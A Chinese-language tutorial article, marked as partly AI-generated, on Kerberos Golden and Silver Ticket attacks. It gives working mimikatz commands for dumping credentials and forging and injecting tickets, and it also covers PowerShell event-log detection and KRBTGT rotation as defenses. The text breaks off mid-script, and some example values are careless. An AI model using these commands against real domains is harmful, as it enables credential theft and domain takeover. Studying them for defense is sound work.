Kerberos攻击实战:mimikatz黄金票据与白银票据

Kerberos攻击实战:mimikatz黄金票据与白银票据

本文深入探讨了Kerberos认证协议的基础原理及其安全漏洞,重点分析了mimikatz工具在黄金票据(Golden Ticket)和白银票据(Silver Ticket)攻击中的实战应用。文章详细解析了Kerberos认证流程、票据结构、加密机制以及PAC特权属性证书等核心组件,为理解这些高级攻击技术提供了理论基础。通过具体的攻击示例和防御策略,展示了如何利用mimikatz进行票据传递攻击(PtT),并提供了有效的检测和防护措施。

Kerberos认证协议基础原理

Kerberos是一种基于票据的网络认证协议,由麻省理工学院(MIT)开发,旨在为客户端/服务器应用程序提供强大的身份验证机制。作为Windows域环境中的首选认证协议,Kerberos通过对称加密技术和可信第三方认证机制,在非安全网络中实现安全的身份验证。

Kerberos核心组件架构

Kerberos认证系统由三个核心组件构成,形成一个完整的安全认证生态:

组件名称英文缩写主要功能关键作用
客户端Client发起认证请求的用户或服务请求访问网络资源
服务端Server提供服务的应用程序验证客户端身份并授权访问
密钥分发中心KDC中央认证服务器颁发票据和会话密钥

KDC进一步细分为两个关键服务:

  • 认证服务(AS):处理初始认证请求,验证用户身份
  • 票据授予服务(TGS):为已验证用户颁发服务票据

Kerberos认证流程详解

Kerberos认证过程遵循严格的三步握手协议,确保每个环节的安全性:

mermaid

第一步:初始认证(AS Exchange)

客户端向AS发送认证请求(AS_REQ),包含用户名和服务名。AS验证用户身份后,返回包含以下内容的响应(AS_REP):

  • TGT(Ticket Granting Ticket):使用KDC的krbtgt账户密钥加密
  • 会话密钥:用于客户端与TGS之间的安全通信
  • 时间戳和有效期信息
第二步:服务票据获取(TGS Exchange)

客户端使用TGT向TGS请求访问特定服务的票据(TGS_REQ)。TGS验证TGT后,返回服务票据(TGS_REP):

  • 服务票据(Service Ticket):使用目标服务的密钥加密
  • 服务会话密钥:用于客户端与服务端之间的安全通信
第三步:服务访问(AP Exchange)

客户端将服务票据和认证器发送给目标服务(AP_REQ)。服务端解密票据验证客户端身份,并可选返回确认信息(AP_REP)。

Kerberos加密机制与安全特性

Kerberos采用对称加密算法保护认证过程的安全性:

// mimikatz中的Kerberos加密函数示例
NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage, 
                                LPCVOID key, DWORD keySize, 
                                LPCVOID data, DWORD dataSize, 
                                LPVOID *output, DWORD *outputSize, 
                                BOOL encrypt);

支持的加密类型包括:

  • AES-128/256:现代高强度加密标准
  • RC4-HMAC:传统加密算法(存在安全风险)
  • DES-CBC:较老的加密标准

Kerberos票据结构分析

Kerberos票据采用ASN.1编码格式,包含多个关键字段:

字段名称描述安全作用
版本号协议版本标识确保协议兼容性
领域名认证域名称标识认证域范围
主体名客户端身份标识请求用户
加密部分使用服务密钥加密保护敏感信息
认证器时间戳和校验信息防止重放攻击

PAC(特权属性证书)机制

Windows Kerberos实现引入了PAC扩展,包含用户的安全标识信息:

mermaid

PAC包含的用户安全信息:

  • 用户SID(安全标识符)
  • 组成员关系
  • 用户权限列表
  • 登录限制信息

Kerberos时间同步要求

Kerberos协议对时间同步有严格要求,通常要求客户端和服务端的时间差不超过5分钟。这种设计有效防止重放攻击,因为每个认证请求都包含时间戳信息。

协议优势与安全考量

Kerberos协议的主要优势包括:

  • 双向认证:客户端和服务端相互验证身份
  • 单点登录:一次认证可访问多个服务
  • 票据重用:减少重复认证开销
  • 防重放攻击:时间戳和序列号机制

然而,Kerberos也存在一些安全考量:

  • KDC成为单点故障和攻击目标
  • 票据缓存可能被窃取利用
  • 加密算法强度影响整体安全性

通过深入理解Kerberos认证协议的基础原理,安全专业人员能够更好地分析潜在的安全威胁,并实施有效的防护措施。mimikatz工具正是基于对这些协议细节的深刻理解,才能够实现黄金票据和白银票据等高级攻击技术。

黄金票据攻击技术与防御

黄金票据(Golden Ticket)攻击是Kerberos认证协议中最具破坏性的攻击技术之一,它允许攻击者在完全脱离域控的情况下伪造任意用户的TGT(Ticket Granting Ticket)。mimikatz作为Windows安全领域的多功能工具,提供了强大的黄金票据生成能力,让安全研究人员能够深入理解Kerberos协议的脆弱性。

黄金票据攻击原理与技术实现

黄金票据攻击的核心在于利用Kerberos协议的设计特性。在Kerberos认证体系中,KRBTGT账户的NTLM哈希用于加密TGT票据。一旦攻击者获取了这个关键哈希值,就能够伪造任意用户的TGT票据。

mimikatz黄金票据生成机制

mimikatz通过kerberos::golden命令实现黄金票据的生成,其技术实现基于以下关键参数:

NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
{
    // 关键参数处理逻辑
    PCWCHAR szUser, szDomain, szService, szTarget;
    LPCBYTE key;
    DWORD keySize, keyType;
    PSID pSid;
    // ... 其他参数处理
}

黄金票据生成需要以下核心元素:

参数说明示例值
KRBTGT哈希域控KRBTGT账户的NTLM哈希aad3b435b51404eeaad3b435b51404ee
域SID域的Security IdentifierS-1-5-21-123456789-1234567890-123456789
目标用户名要伪造的用户名administrator
域名目标域名contoso.com
攻击流程示意图

mermaid

mimikatz黄金票据实战操作

基本攻击命令
# 生成黄金票据
kerberos::golden /admin:Administrator /domain:contoso.com 
                 /sid:S-1-5-21-123456789-1234567890-123456789 
                 /krbtgt:aad3b435b51404eeaad3b435b51404ee 
                 /ticket:golden.kirbi

# 注入票据到当前会话
kerberos::ptt golden.kirbi

# 验证票据有效性
kerberos::list
高级配置选项

mimikatz支持多种高级配置来定制黄金票据:

# 设置票据有效期(默认10年)
/startoffset:-10 /endin:600 /renewmax:10080

# 指定服务票据类型
/service:krbtgt /target:domaincontroller.contoso.com

# 添加额外的SID历史
/sids:S-1-5-21-123456789-1234567890-123456789-519

黄金票据的检测与防御

检测技术

日志分析检测:

  • 监控异常4769事件(Kerberos服务票据请求)
  • 检查TGT颁发时间与正常模式的偏差
  • 分析票据加密类型的一致性

技术特征检测: mermaid

防御策略分层架构

mermaid

具体防御措施

技术防护措施:

  • KRBTGT密码轮换:每30-90天轮换KRBTGT账户密码两次
  • 启用AES加密:强制使用AES-256加密Kerberos票据
  • 实施LAPS:防止本地管理员凭证重用
  • 配置Protected Users:限制NTLM和弱加密协议使用

监控与响应:

# PowerShell检测脚本示例
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4769
} | Where-Object {
    $_.Message -match "Ticket Encryption Type.*0x17" -and 
    $_.TimeCreated -lt (Get-Date).AddHours(-12)
}
应急响应流程

发现黄金票据攻击后的应急响应:

  1. 立即隔离受影响系统和域控制器
  2. 重置KRBTGT密码两次(间隔10分钟以上)
  3. 撤销所有现有Kerberos票据
  4. 全面审计域内所有系统的登录活动
  5. 取证分析攻击路径和持续时间

技术深度分析

mimikatz的黄金票据生成算法基于Kerberos协议规范,其核心函数kuhl_m_kerberos_golden_data实现了完整的ASN.1编码和票据签名:

PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, 
                                   LPCWSTR servicename, LPCWSTR targetname, 
                                   PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, 
                                   LPCBYTE key, DWORD keySize, DWORD keyType, 
                                   PSID pSid, LPCWSTR netbiosDomain, 
                                   ULONG id, PGROUP_MEMBERSHIP groups, 
                                   DWORD nbGroups, PTOKEN_GROUPS sids, 
                                   DWORD nbSids, LPCVOID authData, 
                                   DWORD authDataSize)
{
    // ASN.1编码实现
    ber_init(&ber, 0);
    ber_printf(&ber, "{t{i}", MAKE_APP_TAG(ID_CTX_KRB_CRED_VERSION), 5);
    // ... 完整的票据构造逻辑
}

这种技术实现确保了生成的黄金票据完全符合Kerberos协议规范,能够被域内所有系统接受为合法凭证。

防护体系评估

有效的黄金票据防护需要多层防御策略的协同工作:

mermaid

通过理解mimikatz的黄金票据攻击技术,安全团队能够更好地设计防御策略,构建纵深防御体系,确保企业网络在面对这种高级威胁时具备足够的防护能力。

白银票据攻击方法与检测

白银票据(Silver Ticket)攻击是Kerberos协议中一种极具威胁的凭据伪造技术,与黄金票据相比,它更加隐蔽且难以检测。攻击者通过获取服务账户的密码哈希值,能够绕过域控制器的验证机制,直接伪造特定服务的TGS(Ticket Granting Service)票据,实现对目标资源的持久化访问。

白银票据攻击原理与工作流程

白银票据攻击的核心在于利用Kerberos协议中TGS票据的加密机制。在正常的Kerberos认证流程中,TGS票据使用服务账户的密码哈希进行加密,而攻击者一旦获取到这个哈希值,就能够自主生成有效的TGS票据,完全绕过KDC(Key Distribution Center)的验证过程。

mermaid

mimikatz白银票据攻击实战

在mimikatz中执行白银票据攻击需要使用kerberos::golden命令,但需要特别注意参数配置:

# 获取服务账户哈希(前提步骤)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# 伪造CIFS服务的白银票据
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.com /sid:S-1-5-21-123456789-987654321-123456789 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:fileserver.corp.com /service:cifs /ptt

# 伪造MSSQL服务的白银票据  
mimikatz # kerberos::golden /user:SqlUser /domain:corp.com /sid:S-1-5-21-123456789-987654321-123456789 /rc4:aad3b435b51404eeaad3b435b51404ee /target:sqlserver.corp.com /service:mssql /ptt
关键参数说明:
参数说明示例值
/user要伪造的用户名FakeAdmin
/domain目标域名corp.com
/sid域SIDS-1-5-21-123456789-987654321-123456789
/rc4服务账户的NTLM哈希8fbe632c51039f92c21bcef456b31f2b
/target目标服务器FQDNfileserver.corp.com
/service目标服务类型cifs, mssql, http等
/ptt将票据注入当前会话N/A

常见服务类型与对应的SPN

攻击者可以根据不同的服务目标选择相应的服务类型:

服务类型服务名称攻击目标
CIFScifs文件共享访问
MSSQLmssql数据库服务
HTTPhttpWeb应用程序
LDAPldap目录服务
HOSThost主机级访问
RPCSSrpcss远程过程调用

白银票据攻击检测技术

检测白银票据攻击需要多层次的监控策略,重点关注异常的身份验证模式:

1. 事件日志分析
# 查询可疑的登录事件
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
} | Where-Object {
    $_.Properties[5].Value -like "*$" -and  # 服务账户登录
    $_.Properties[8].Value -eq 3 -and       # 网络登录类型
    $_.Properties[11].Value -notlike "*KRBTGT*"
}

# 检测异常的服务票据请求
Get-WinEvent -FilterHashtable @{
    LogName='Security' 
    ID=476

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值